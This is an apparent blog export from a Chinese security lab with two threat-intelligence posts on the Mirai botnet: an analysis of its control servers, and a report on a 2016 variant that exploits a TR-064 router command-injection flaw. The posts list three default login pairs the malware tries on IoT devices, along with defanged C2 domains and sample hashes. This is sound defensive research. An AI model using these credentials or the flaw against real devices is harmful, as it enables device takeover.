<!--kg-card-begin: markdown--><p>之前的文章中已经提及，我们的僵尸网络跟踪系统对mirai僵尸网络控制主机做了持续跟踪，并且在文章的结尾处，依据跟踪结果排除了僵尸网络操作者位于北京时区的可能。在这篇文章中，我们将进一步分析mirai僵尸网络的控制主机的行为和特征。之前文章链接如下：</p> <p><a href="__GHOST_URL__/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/">http://blog.netlab.360.com/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/</a></p> <p>目前为止，我们与安全社区合作共享了两位数域名上的超过50个mirai僵尸网络主控。但本文后面的分析仅针对360网络安全研究院独立发现的主控，即13个域名上的16个主控主机名，其中8个在持续对外发起攻击。</p> <p>在时间线上，我们可以看到各主控随时间变化的注册、在DNS中首次出现、持续保持IP地址变化、首次被监控到发起攻击等事件。地理分布方面，主控的IP地理分布主要在欧洲和美国，尤以欧洲为甚，亚洲很少，这从侧面增强了之前“mirai控制者不在北京时区”的判断。</p> <p>域名注册信息方面，绝大多数主控在域名注册时在TLD、注册局、注册邮箱方面设置了多重障碍阻滞安全社区的进一步分析。</p> <p>主控中一个特例是santasbigcandycane.cx，这个域名随着mirai源码泄漏而暴露在大众视野中。KrebsOnSecurity 对这个域名做了深入而有趣的探索。感兴趣的读者可在读完本篇文档后阅读：<br> <a href="https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538">https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538</a></p> <p>【所分析的mirai控制端列表】</p> <p>到目前为止，我们独立发现了16个僵尸网络主机名，分布在13个域名上，如下表所示。出于安全考虑，我们掩去了关键信息。<br> <img src="__GHOST_URL__/content/images/2016/10/table_01_mirai_c2_list.png" alt="" loading="lazy"></p> <p>除了少数两个特例以外，绝大多数主机名所属域名下的所有其他主机名也都完全为 mirai 服务，可据此判定绝大多数域名是专门为了mirai而申请注册的。</p> <p>特例之一是santasbigcandycane.cx，前文已述；特例之二是 contabo.host ，这个域名属于 Contabo.com，是一家提供低成本虚拟主机和Web空间的网络提供商。合理推测这是一台被攻破的虚拟主机，攻破后被用作mirai的控制端。</p> <p>注：域名指在注册局注册的域名，主机名指域名所有者获得域名控制权后分配的子域名。</p> <p>【mirai主控的时间变化情况】</p> <p>回溯Mirai控制端的活动历史，可以绘制mirai控制端的活动时间线如下图。考虑到大家主要关注mirai近期活动，我们缩放了下图时间轴，主要显示9月1日至今（10月27日）。<br> <img src="__GHOST_URL__/content/images/2016/10/01_mirai_c2_timeline-1.png" alt="" loading="lazy"></p> <p>图中，四个图标分别表示域名注册、主机名在DNS系统中活跃的时间、主机名在DNS系统中发生IP地址变化、跟踪到该主机名发起攻击。图中部分时间线看起来有些古怪，但都是我们观察到的真实物理世界的反应。尤其最后一个主控，我们无法追踪到最初的注册时间，目前能查到的注册时间在其DNS首次出现时间之后。</p> <p>从上图中可以看出域名一旦启用（观察到参与攻击）会快速更换IP地址，一般可以判定这是攻击者在逃避安全社区的分析。以某个被认为发起了针对本次 dyn / twitter 攻击的mirai主控为例，下表是该主控的IP变化历史：<br> <img src="__GHOST_URL__/content/images/2016/10/table_02_mirai_cc_attaking_twitter_ip_switching.png" alt="" loading="lazy"></p> <p>图中还可以看到我们累积监控到8个主控对外发起攻击。时间可以回溯到2016年10月18日，并一直持续到当前。另外由于mirai僵尸网络规模特别大，单个主控要应对的bot较多（合理推测数目在万级），我们有理由相信mirai主控与bot之间的通讯模型与既往其他僵尸网络都有所不同。</p> <p>【mirai主控的IP地理分布】</p> <p>之前社区里关于这些域名的IP地址变化有一种说法，认为 “某个mirai主控变换IP地址后，原先的IP地址上会出现一个新的域名，仍然是mirai主控”，即不同主控之间共享IP地址。在我们的数据中，上述情况完全没有出现。<br> 前文已经提到这些域名在快速的变换IP，我们持续跟踪的16个主控目前为止一共使用了98个IP地址，其中活跃的8个主控一共使用了57个IP地址。这些IP地址的国家和地区分布如下：<br> <img src="__GHOST_URL__/content/images/2016/10/table_03_mirai_cc_ip_geo.png" alt="" loading="lazy"><br> 可以看出绝大部分IP分布在欧洲和北美（巴尔及利亚，加拿大，丹麦，法国，德国，匈牙利，意大利，荷兰，罗马尼亚，俄罗斯，苏伊士，英国，美国），其中又以欧洲为甚，分布在亚洲区的只有3个。这从侧面增强了之前“mirai控制者不在北京时区”的判断。</p> <p>【mirai主控的域名注册信息】</p> <p>Mirai的控制者在域名注册方面非常小心，以避免被跟踪。一方面选择很少见的新Top Level Domain（TLD），另一方面所使用的注册邮箱、注册局也都强调隐私保护或者很难继续追踪。</p> <p>TLD的分布上，较少用常见的 .net .org 。 .xyz .work这样的TLD就已经少见，而 .racing 这样就 是更加罕见了。全部域名在常见 TLD (.net .org)上只有23%（=3/13），即使加上上.ru也不超过50%，如下图所示：<br> <img src="__GHOST_URL__/content/images/2016/10/02_mirai_c2_tldgeo.png" alt="" loading="lazy"></p> <p>注册邮箱和注册局方面情况如下。同样出于安全考虑，我们掩去了关键信息。<br> <img src="__GHOST_URL__/content/images/2016/10/table_03_mirai_registrant_protected.png" alt="" loading="lazy"></p> <p>这些注册邮箱都比较难以继续追溯下去：Protonmail 是专门强调数据安全的邮件服务商，reg.ru, r01.ru,whoisguard.com 是专门做域名隐私保护的公司，contabo是VPS提供商，freenom运营了大量免费域名。</p> <p>特别要提及，[email protected] 这个注册局很特殊，在上文提到的krebsonSecurity 连接中，Krebs提到这个注册局上注册的30+域名中大多含有 boot/stress/dos 这样的字眼，通常这暗示域名从事ddos出租服务；Krebs提到的另一个疑点是这个注册局注册的域名太少，无法做到收支平衡。Krebs与注册局的所有者取得联系，对方对Krebs的疑问有所回答，这更进一步加强了Krebs的疑虑。如果您已经读到这里，我们强烈建议您去阅读原文。</p> <!--kg-card-end: markdown-->

之前的文章中已经提及，我们的僵尸网络跟踪系统对mirai僵尸网络控制主机做了持续跟踪，并且在文章的结尾处，依据跟踪结果排除了僵尸网络操作者位于北京时区的可能。在这篇文章中，我们将进一步分析mirai僵尸网络的控制主机的行为和特征。之前文章链接如下： http://blog.netlab.360.com/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/ 目前为止，我们与安全社区合作共享了两位数域名上的超过50个mirai僵尸网络主控。但本文后面的分析仅针对360网络安全研究院独立发现的主控，即13个域名上的16个主控主机名，其中8个在持续对外发起攻击。 在时间线上，我们可以看到各主控随时间变化的注册、在DNS中首次出现、持续保持IP地址变化、首次被监控到发起攻击等事件。地理分布方面，主控的IP地理分布主要在欧洲和美国，尤以欧洲为甚，亚洲很少，这从侧面增强了之前“mirai控制者不在北京时区”的判断。 域名注册信息方面，绝大多数主控在域名注册时在TLD、注册局、注册邮箱方面设置了多重障碍阻滞安全社区的进一步分析。 主控中一个特例是santasbigcandycane.cx，这个域名随着mirai源码泄漏而暴露在大众视野中。KrebsOnSecurity 对这个域名做了深入而有趣的探索。感兴趣的读者可在读完本篇文档后阅读： https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538 【所分析的mirai控制端列表】 到目前为止，我们独立发现了16个僵尸网络主机名，分布在13个域名上，如下表所示。出于安全考虑，我们掩去了关键信息。 除了少数两个特例以外，绝大多数主机名所属域名下的所有其他主机名也都完全为 mirai 服务，可据此判定绝大多数域名是专门为了mirai而申请注册的。 特例之一是santasbigcandycane.cx，前文已述；特例之二是 contabo.host ，这个域名属于 Contabo.com，是一家提供低成本虚拟主机和Web空间的网络提供商。合理推测这是一台被攻破的虚拟主机，攻破后被用作mirai的控制端。 注：域名指在注册局注册的域名，主机名指域名所有者获得域名控制权后分配的子域名。 【mirai主控的时间变化情况】 回溯Mirai控制端的活动历史，可以绘制mirai控制端的活动时间线如下图。考虑到大家主要关注mirai近期活动，我们缩放了下图时间轴，主要显示9月1日至今（10月27日）。 图中，四个图标分别表示域名注册、主机名在DNS系统中活跃的时间、主机名在DNS系统中发生IP地址变化、跟踪到该主机名发起攻击。图中部分时间线看起来有些古怪，但都是我们观察到的真实物理世界的反应。尤其最后一个主控，我们无法追踪到最初的注册时间，目前能查到的注册时间在其DNS首次出现时间之后。 从上图中可以看出域名一旦启用（观察到参与攻击）会快速更换IP地址，一般可以判定这是攻击者在逃避安全社区的分析。以某个被认为发起了针对本次 dyn / twitter 攻击的mirai主控为例，下表是该主控的IP变化历史： 图中还可以看到我们累积监控到8个主控对外发起攻击。时间可以回溯到2016年10月18日，并一直持续到当前。另外由于mirai僵尸网络规模特别大，单个主控要应对的bot较多（合理推测数目在万级），我们有理由相信mirai主控与bot之间的通讯模型与既往其他僵尸网络都有所不同。 【mirai主控的IP地理分布】 之前社区里关于这些域名的IP地址变化有一种说法，认为 “某个mirai主控变换IP地址后，原先的IP地址上会出现一个新的域名，仍然是mirai主控”，即不同主控之间共享IP地址。在我们的数据中，上述情况完全没有出现。 前文已经提到这些域名在快速的变换IP，我们持续跟踪的16个主控目前为止一共使用了98个IP地址，其中活跃的8个主控一共使用了57个IP地址。这些IP地址的国家和地区分布如下： 可以看出绝大部分IP分布在欧洲和北美（巴尔及利亚，加拿大，丹麦，法国，德国，匈牙利，意大利，荷兰，罗马尼亚，俄罗斯，苏伊士，英国，美国），其中又以欧洲为甚，分布在亚洲区的只有3个。这从侧面增强了之前“mirai控制者不在北京时区”的判断。 【mirai主控的域名注册信息】 Mirai的控制者在域名注册方面非常小心，以避免被跟踪。一方面选择很少见的新Top Level Domain（TLD），另一方面所使用的注册邮箱、注册局也都强调隐私保护或者很难继续追踪。 TLD的分布上，较少用常见的 .net .org 。 .xyz .work这样的TLD就已经少见，而 .racing 这样就 是更加罕见了。全部域名在常见 TLD (.net .org)上只有23%（=3/13），即使加上上.ru也不超过50%，如下图所示： 注册邮箱和注册局方面情况如下。同样出于安全考虑，我们掩去了关键信息。 这些注册邮箱都比较难以继续追溯下去：Protonmail 是专门强调数据安全的邮件服务商，reg.ru, r01.ru,whoisguard.com 是专门做域名隐私保护的公司，contabo是VPS提供商，freenom运营了大量免费域名。 特别要提及，[email protected] 这个注册局很特殊，在上文提到的krebsonSecurity 连接中，Krebs提到这个注册局上注册的30+域名中大多含有 boot/stress/dos 这样的字眼，通常这暗示域名从事ddos出租服务；Krebs提到的另一个疑点是这个注册局注册的域名太少，无法做到收支平衡。Krebs与注册局的所有者取得联系，对方对Krebs的疑问有所回答，这更进一步加强了Krebs的疑虑。如果您已经读到这里，我们强烈建议您去阅读原文。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n之前的文章中已经提及，我们的僵尸网络跟踪系统对mirai僵尸网络控制主机做了持续跟踪，并且在文章的结尾处，依据跟踪结果排除了僵尸网络操作者位于北京时区的可能。在这篇文章中，我们将进一步分析mirai僵尸网络的控制主机的行为和特征。之前文章链接如下：\n\n__GHOST_URL__/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/\n\n目前为止，我们与安全社区合作共享了两位数域名上的超过50个mirai僵尸网络主控。但本文后面的分析仅针对360网络安全研究院独立发现的主控，即13个域名上的16个主控主机名，其中8个在持续对外发起攻击。\n\n在时间线上，我们可以看到各主控随时间变化的注册、在DNS中首次出现、持续保持IP地址变化、首次被监控到发起攻击等事件。地理分布方面，主控的IP地理分布主要在欧洲和美国，尤以欧洲为甚，亚洲很少，这从侧面增强了之前“mirai控制者不在北京时区”的判断。\n\n域名注册信息方面，绝大多数主控在域名注册时在TLD、注册局、注册邮箱方面设置了多重障碍阻滞安全社区的进一步分析。\n\n主控中一个特例是santasbigcandycane.cx，这个域名随着mirai源码泄漏而暴露在大众视野中。KrebsOnSecurity 对这个域名做了深入而有趣的探索。感兴趣的读者可在读完本篇文档后阅读：\nhttps://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538\n\n【所分析的mirai控制端列表】\n\n到目前为止，我们独立发现了16个僵尸网络主机名，分布在13个域名上，如下表所示。出于安全考虑，我们掩去了关键信息。\n\n\n除了少数两个特例以外，绝大多数主机名所属域名下的所有其他主机名也都完全为 mirai 服务，可据此判定绝大多数域名是专门为了mirai而申请注册的。\n\n特例之一是santasbigcandycane.cx，前文已述；特例之二是 contabo.host ，这个域名属于 Contabo.com，是一家提供低成本虚拟主机和Web空间的网络提供商。合理推测这是一台被攻破的虚拟主机，攻破后被用作mirai的控制端。\n\n注：域名指在注册局注册的域名，主机名指域名所有者获得域名控制权后分配的子域名。\n\n【mirai主控的时间变化情况】\n\n回溯Mirai控制端的活动历史，可以绘制mirai控制端的活动时间线如下图。考虑到大家主要关注mirai近期活动，我们缩放了下图时间轴，主要显示9月1日至今（10月27日）。\n\n\n图中，四个图标分别表示域名注册、主机名在DNS系统中活跃的时间、主机名在DNS系统中发生IP地址变化、跟踪到该主机名发起攻击。图中部分时间线看起来有些古怪，但都是我们观察到的真实物理世界的反应。尤其最后一个主控，我们无法追踪到最初的注册时间，目前能查到的注册时间在其DNS首次出现时间之后。\n\n从上图中可以看出域名一旦启用（观察到参与攻击）会快速更换IP地址，一般可以判定这是攻击者在逃避安全社区的分析。以某个被认为发起了针对本次 dyn / twitter 攻击的mirai主控为例，下表是该主控的IP变化历史：\n\n\n图中还可以看到我们累积监控到8个主控对外发起攻击。时间可以回溯到2016年10月18日，并一直持续到当前。另外由于mirai僵尸网络规模特别大，单个主控要应对的bot较多（合理推测数目在万级），我们有理由相信mirai主控与bot之间的通讯模型与既往其他僵尸网络都有所不同。\n\n【mirai主控的IP地理分布】\n\n之前社区里关于这些域名的IP地址变化有一种说法，认为 “某个mirai主控变换IP地址后，原先的IP地址上会出现一个新的域名，仍然是mirai主控”，即不同主控之间共享IP地址。在我们的数据中，上述情况完全没有出现。\n前文已经提到这些域名在快速的变换IP，我们持续跟踪的16个主控目前为止一共使用了98个IP地址，其中活跃的8个主控一共使用了57个IP地址。这些IP地址的国家和地区分布如下：\n\n可以看出绝大部分IP分布在欧洲和北美（巴尔及利亚，加拿大，丹麦，法国，德国，匈牙利，意大利，荷兰，罗马尼亚，俄罗斯，苏伊士，英国，美国），其中又以欧洲为甚，分布在亚洲区的只有3个。这从侧面增强了之前“mirai控制者不在北京时区”的判断。\n\n【mirai主控的域名注册信息】\n\nMirai的控制者在域名注册方面非常小心，以避免被跟踪。一方面选择很少见的新Top Level Domain（TLD），另一方面所使用的注册邮箱、注册局也都强调隐私保护或者很难继续追踪。\n\nTLD的分布上，较少用常见的 .net .org 。 .xyz .work这样的TLD就已经少见，而 .racing 这样就 是更加罕见了。全部域名在常见 TLD (.net .org)上只有23%（=3/13），即使加上上.ru也不超过50%，如下图所示：\n\n\n注册邮箱和注册局方面情况如下。同样出于安全考虑，我们掩去了关键信息。\n\n \n\n这些注册邮箱都比较难以继续追溯下去：Protonmail 是专门强调数据安全的邮件服务商，reg.ru, r01.ru,whoisguard.com 是专门做域名隐私保护的公司，contabo是VPS提供商，freenom运营了大量免费域名。\n\n特别要提及，[email protected] 这个注册局很特殊，在上文提到的krebsonSecurity 连接中，Krebs提到这个注册局上注册的30+域名中大多含有 boot/stress/dos 这样的字眼，通常这暗示域名从事ddos出租服务；Krebs提到的另一个疑点是这个注册局注册的域名太少，无法做到收支平衡。Krebs与注册局的所有者取得联系，对方对Krebs的疑问有所回答，这更进一步加强了Krebs的疑虑。如果您已经读到这里，我们强烈建议您去阅读原文。\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

33

post

2016-11-29T03:32:51.000Z

63873b9a8b1c1e0007f52eec

a-mirai-botnet-evolvement-new-variant-and-old-c2

2018-10-06T08:56:25.000Z

public

published

2016-11-29T10:40:18.000Z

德国电信断网：mirai僵尸网络的新变种和旧主控

<!--kg-card-begin: markdown--><p>【更新】</p> <ol> <li>2016-11-29 18:40:00 初始版本</li> <li>2016-11-29 20:10:00 增加了对德国电信断网事件相关的描述</li> </ol> <h4 id="20161128">德国电信断网事件 2016-11-28</h4> <p>德国电信在2016年11月28日前后遭遇一次大范围的网络故障。在这次故障中，2千万固定网络用户中的大约90万个路由器发生故障（约4.5%），并由此导致大面积网络访问受限。很多媒体给出了网络受限的示意图，如下。</p> <p><img src="__GHOST_URL__/content/images/2016/11/telekom_network_issue_map.png" alt="" loading="lazy"></p> <p>德国电信进一步确认了问题是由于路由设备的维护界面被暴露在互联网上、并且互联网上正在发生针对性的攻击而导致。德国电信连夜与设备供应商生成了新的升级包，并且要求客户如果怀疑受到影响就断电重启路由器，之后利用自动/手动的升级过程来减轻问题显然，德国电信还采取了一系列的过滤措施来保证升级过程不受攻击影响。德国电信对该事件给出了较为详细的描述。</p> <p><a href="https://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862">https://www.telekom.com/en/media/media-information/archive/information-on-current-problems-444862</a></p> <p><strong>按照360网络安全研究院对这次事件以及mirai僵尸网络的理解，这次事件前后的时间脉络如下</strong>（以下均为北京时间）：</p> <ol> <li>2016-11-07，kenzo发布了一个针对7547端口上路由器等设备的TR-069/TR-064相关的安全公告；</li> <li>2016-11-26 21:27:23 360网络安全研究院首次探测到mirai僵尸网络发起了针对 7547 端口的扫描；</li> <li>2016-11-26 ～ 2016-11-28，端口7547上的mirai僵尸网络规模积累到足以影响大面积网络；</li> <li>～2016-11-28 telekom 德国电信累积大约90万个路由器被mirai僵尸网络的扫描过程打宕，网络大面积受影响</li> <li>2016-11-28 ～ 至今 telekom 德国电信在自身网络范围内采取措施遏制mirai僵尸网络的扫描过程。</li> </ol> <h4 id="">概述</h4> <p>众所周知，mirai的源码在北京时间2016-09-30附近泄漏，随后被托管到<a href="https://github.com/jgamblin/Mirai-Source-Code">github</a>上。自那以后，不管是黑帽子还是白帽子都对mirai的源码进行了大量深入的分析。换句话说，随着时间的推移，各路新玩家终将逐渐入场，目前为止我们的观察也映证了上述观点。我们已经发现了若干mirai的新变种，例如出现了新的主控域名，或者登录界面从俄文变为英文/中文，也有一些明显还是新玩家摸索阶段的设定，比如将主控域名设为<em>8.8.8.8</em>或者<em>baidu.com</em>。基于种种mirai变种，<strong>我们推测mirai家族对网络空间安全的威胁将会长期持续，周期也许会以年为单位计。</strong></p> <p>11月26日21点27分, 一个新的变种引起了我们的注意。之前的Mirai各种变种基本都是小改动，<strong>核心内容扫描<code>23</code>和<code>2323</code>端口上弱口令的行为模式没有变化，但是这个变种出现了扫描TCP 端口<code>7547</code>远程命令执行漏洞的行为</strong>，这是利用了最近新公布的一个安全公告中提到的问题，将感染目标转移到支持<strong>TR-069/TR-064</strong>并错误暴露TR-064的设备，bot扫描端口也随之转移到<code>7547</code>，感染过程利用了TR-064实现中存在的命令注入问题。该变种仍然会扫描mirai传统的端口23/2323，但是使用的弱口令进一步精简到精心挑选的三组密码。这种变化表明，mirai泄漏源码已经逐步成为成熟的开发包，一旦有新的（也许是旧的）设备弱口令被发现，很快就会被mirai家族感染。这其中，<strong>扫描端口<code>7547</code>而非<code>23</code>和<code>2323</code>、利用远程命令执行漏洞而非弱口令种植木马都与既往mirai的行为显著区分。</strong></p> <p>另一方面，尽管这个新变种有若干变化，它仍然重用了mirai的部分代码，进而顺带继承了mirai代码中的缺陷，并与既有mirai僵尸网络共享控制端基础设施。</p> <p>11月27日17点04分,我们监测到又出现一个变种,和26日的新变种类似,这次的变种出现了扫描TCP端口<code>5555</code>的行为。</p> <p>从我们的统计数据上来，这两个变种处于异常活跃的状态，同时从国外合作伙伴的数据来看，这两个变种的扫描范围造成了世界范围的影响，日记录的活跃扫描源在百万级别。</p> <p><strong>鉴于mirai的源码已经公开, 结合上述两个变种的行为,我们深度担忧mirai会成为一个ddos攻击库的母体，通过模块化对源代码部分内容进行更新，就可以随时增加对新的漏洞的支持。</strong></p> <h4 id="">数据更新</h4> <p>我们在<a href="http://data.netlab.360.com/mirai-scanner">http://data.netlab.360.com/mirai-scanner</a>提供了对mirai感染设备的各种统计和数据下载供研究者使用。</p> <p>根据新观察到的数据，我们更新了<a href="http://data.netlab.360.com/mirai-scanner">data.netlab.360.com</a>上的mirai监控页面，并且将对应样本的md5和域名附录在文末。对已经使用API访问我们提供bot list的合作者，请重新下载2016-11-26及以后的数据以获得7547及5555端口数据的更新。</p> <h4 id="mirai">新Mirai变种的僵尸网络能力评估</h4> <p>目前活跃的所有已知版本的mirai(包括今天报告的在端口<code>7547</code>和<code>5555的</code>)由于编码手法问题,导致可以精确定位和标示来自mirai的扫描行为。如前所述,我们在2016-11-26首次观察到<code>7547</code>端口上的新变种，一天后的2016-11-27首次观察到<code>5555</code>端口上的新变种。</p> <p>在各个端口上首次发现扫描时间对比<br> <img src="__GHOST_URL__/content/images/2016/11/26A6E2BA-AE19-42D4-B521-FCAACB1FF303.png" alt="scan first seen" loading="lazy"></p> <p>每日bot规模增长情况(最右侧的的蓝色和红色是新增加的这两个变种)<br> <img src="__GHOST_URL__/content/images/2016/11/F2223CCD-1D12-45F5-9A37-BE3473395D57.png" alt="" loading="lazy"></p> <p>按照当前的增速排名，四个端口上bot的增长速度分别是：<br> <img src="__GHOST_URL__/content/images/2016/11/1A7619BC-9268-47FC-92FC-9852A53D65D9.png" alt="" loading="lazy"></p> <p>当前端口<code>7547</code>上的bot增长速度已经远超过了已知 端口<code>23/2323</code>上的bot数量增速。当前端口<code>7547</code>上的bot总量已经超过3万；我们从安全社区合作伙伴处得知，全网潜在的可感染设备总数量在3～5百万之间。这也是促使我们撰写本blog的原因之一。</p> <p>端口 7547 上bot增速曲线，分解到每十分钟：<br> <img src="__GHOST_URL__/content/images/2016/11/5F01A7D3-FACF-4C81-A77F-0811A6646804.png" alt="" loading="lazy"><br> 上图显示，Bot的增速很快就达到一个高峰，并且平稳的维持在较高水平上。</p> <p>另一方面，在整个互联网的视角来看，端口7547的扫描在2016-11-26日晚间开始有急剧的上升。</p> <p><img src="__GHOST_URL__/content/images/2016/11/8FD11DE0-4D60-4AA9-BE15-6EF78A7C704A.png" alt="" loading="lazy"></p> <h2 id="botmirai">在新变种的感染bot的地理分布方面，<strong>巴西依然遥遥领先</strong>，与既有mirai僵尸网络的地理分布保持一致。<br> <img src="__GHOST_URL__/content/images/2016/11/794D5FFB-CF94-41E1-88E8-BBB1CC891BE8.png" alt="" loading="lazy"></h2> <h4 id="mirai">新变种共享了既有mirai僵尸网络主控的基础设施</h4> <p>通过分析和网络追踪，我们得到了端口<code>7547</code>上的mirai变种样本。进一步分析样本发现，样本中的主控有两组，如下。值得注意的是,这两组主控都是之前已经发现并跟踪的mirai僵尸主控。我们最早在2016-11-09就已经在其他样本中发现了同时出现两组主控的情况，并且那两组主控就是本次新变种中涉及的这两组。也就是说,这次利用<code>7547</code>漏洞的新变种和之前的mirai最开始的使用者是一组人。</p> <ul> <li> <p>*.securityupdates.us</p> </li> <li> <p>*. timeserver.host</p> </li> </ul> <p><mark>目前我们可以断言以下这四组主控背后的控制者是同一组人</mark></p> <p><img src="__GHOST_URL__/content/images/2016/11/3CE2D45C-F314-4A7C-9E17-F55D82F172B9.png" alt="" loading="lazy"></p> <p>判定的依据有下面这些：</p> <ol> <li> <p>在本次发现的样本中（以及最早在2016-11-09发现的样本），一个样本中同时出现了<em>securityupdates.us</em>和<em>timeserver.host</em>两组C&amp;C控制服务器。</p> </li> <li> <p>上述四组域名大量共享IP地址，特别是<em>5.188.232.1/24</em>这个C类段，几乎所有的IP地址都拥有完全相同的扫描banner。</p> </li> <li> <p>有意思的是,在我们内部不久前做的一个数据观察的可视化图形中,我们也的确可以看到<em>securityupdates.us</em>和<em>timeserver.host</em>这两个主控下的感染bot有较高的重合度，这从另外一个维度验证了这两个主控有一定关系。</p> </li> </ol> <p><img src="__GHOST_URL__/content/images/2016/11/D6700A66-B35A-4783-9714-97F06556E420.png" alt="" loading="lazy"></p> <h4 id="miraibot">新变种与既有mirai僵尸网络在bot列表上也有一定覆盖交叉</h4> <p>整体四个端口 <code>23/2323/5555/7547</code> 的botIP列表也有一定交叉覆盖。<br> <img src="__GHOST_URL__/content/images/2016/11/port_client_ip_overlap.png" alt="" loading="lazy"></p> <p>可以看出：</p> <ol> <li> <p>主要的bot还是仅仅扫描<code>23</code>端口上，占了79%；加上顺带扫描<code>2323</code>端口的11%、以及仅仅扫描<code>2323</code>端口的6.4%，共计96.4%，这占据了当前mirai僵尸网络的绝对大头；</p> </li> <li> <p>仅仅扫描 <code>7547</code> 端口的bot有 3.1%，考虑到当前这个端口上仅工作了3天，mirai的在这个端口上感染速度仍然是惊人的；</p> </li> <li> <p>其他交叉扫描的所有bot合并攻击占据0.5%，目前仍然不是主体。</p> </li> </ol> <h4 id="">新变种的设备特性</h4> <p>我们汇总了手头所有<code>7547</code>相关的botIP列表，共计<code>46653</code>个。我们尝试读取这些IP的设备型号，共计获得了<code>5976</code>个回应。这里的样本耗损比较大，我们反复尝试了多次，相信可以排除网络抖动情况，剩下的损耗我们归因为mirai；也许是因为设备上的开放端口被mirai关闭，也许是因为设备当时网络忙。</p> <p>我们筛选了返回的<code>5976</code>个回应中个数超过10个的细分类，列出他们的生产厂商（打码）、型号列表如下。<br> <img src="__GHOST_URL__/content/images/2016/11/7547_client_ip_manufactor.png" alt="" loading="lazy"></p> <p>我们建议这些厂商联合他们的客户一起对上述情况做出适当响应以减轻mirai的危害程度，但同时仍然必须强调这些只是我们能够看到的冰山一角，也许还需要更多其他设备厂商一起来做更多的网络安全工作。</p> <h4 id="">相关安全公告</h4> <p>2016-11-07，kenzo/kenzo2017在<em>devicereversing.wordpress.com</em>上发布了一个TR-064相关的安全公告。原文见：<br> <a href="https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/">https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/</a></p> <p>理解该公告的技术细节有助于理解mirai新变种的行为。<br> 公告中公开了Eir D1000 Modem的一个配置错误和一个命令注入问题。该配置错误使得原本仅应该暴露在LAN一侧的TR-064协议栈暴露在了WAN一侧；而对命令注入手段的充分利用可以使得攻击者完全接管设备。</p> <p>Eir D1000 Moden向互联网暴露了端口<code>7547</code>。该端口上运行了两组协议，TR-069和TR-064，前者设计为在WAN上运行，而后者仅设计为在LAN侧运行。正常情况下在互联网上无法与TR-064协议栈交互，但是由于该设备的错误配置，该协议栈被暴露在WAN上，形成一个攻击面。</p> <p>公告中提及，在该设备上可以执行TR-064中的多个命令，包括获取设备信息、获取设备WiFi密码、获取设备SSID/MAC、设定时间服务器等等。特殊的，在设定时间服务器的时候存在一个命令注入漏洞，利用该漏洞可以执行该设备上busybox的诸多命令，比如可以设定iptables来关掉设备上<code>80</code>端口管理员界面的防火墙。而要命的是，管理员界面的登录密码，就是前面提到可以获取的设备WiFi密码。</p> <p>组合使用上述配置错误/漏洞，可以使得攻击者在WAN侧获得设备的完全控制权。Kenzo在公告中给出了一个利用的概念验证。</p> <p>该公告中还有其他若干槽点可看。不过我们的注意力集中在网络侧的技术特征，包括：</p> <ol> <li> <p>开放端口为<code>7547</code>，这意味着新变种的bot需要发起针对该端口的扫描。</p> </li> <li> <p>体系架构为MIPS。概念验证中提到的两个Targets分别是MIPS的大端和小端。</p> </li> </ol> <p>另外在安全社区的其他信息源中，我们了解到端口<code>5555</code>上也同样运行了TR-069/TR-064协议，并且有其他mirai变种开始扫描了上述端口。我们的数据中，映证了以上关于端口<code>5555/7547</code>的说法。</p> <h3 id="mirai">新mirai变种的感染和植入过程</h3> <p>新变种的感染和植入过程已经被安全社区广泛讨论，例如下面的这篇文章，这里不再赘述，读者可以自行扩展阅读。</p> <p><a href="https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/">https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/</a><br> 值得一提的有这么一些地方：</p> <ul> <li> <p>新变种的样本覆盖了多个平台，如下列表:<br> <img src="__GHOST_URL__/content/images/2016/11/B3A12F5D-446A-4EB3-94E1-26EDE8E24186.png?size=standard#border" alt="" loading="lazy"><br> 在诸多解释中，我们选择相信这可能反映了攻击者的工程环境比较成熟，攻击者已经拥有较为成熟的交叉编译工程环境，新的扫描方式出现后顺手就编译了多种平台样本。</p> </li> <li> <p>精简所使用的弱口令集合<br> 这一变种里，针对23/2323 端口弱口令字典已经精简到了3条。</p> </li> </ul> <blockquote> <p>root xc3511<br> root vizxv<br> root admin</p> </blockquote> <p>对照下表中已经公开的弱口令可知，前述第一对弱口令是针对雄迈设备的；第二对是针对大华设备的。第三条适用范围较广，没有明确的指向性。<br> <img src="__GHOST_URL__/content/images/2016/11/D45D88C6-0948-4B26-A1CF-3DAB36D695C1.png?size=mini" alt="" loading="lazy"></p> <p>我们相信从攻击者的角度看来，对比之前的约60对弱口令，当前的三对弱口令在覆盖率上不会有多少损失，但是扫描速度方面会有很大提高。</p> <h4 id="">附录</h4> <ul> <li>IOC, MD5</li> </ul> <pre><code>dc2464aefa7ba00eeccbd18baceeb9e9 a4487a7b2040de43ba3e0d7468f070c7 238a67e6f9b129680b618a3c579a8c6c a490bb1c9a005bcf8cfe4bdffe7b991f 0dd3e7899183e93e5967e87ac6ea48a9 83bb43a36c49496a96f41926d80ec97d 99f9e7c6d7786555a7d067220b3c0d7d a00a630b5f2c5e142f35c9df7df9f919 b6e0b8327fa3ab5abe761fb627a9cba1 </code></pre> <ul> <li>域名</li> </ul> <pre><code> kernelorg[.]download update[.]kernelorg[.]download securityupdates[.]us check[.]securityupdates[.]us rep[.]securityupdates[.]us timeserver[.]host ntp[.]timeserver[.]host ocalhost[.]host l[.]ocalhost[.]host </code></pre> <!--kg-card-end: markdown-->

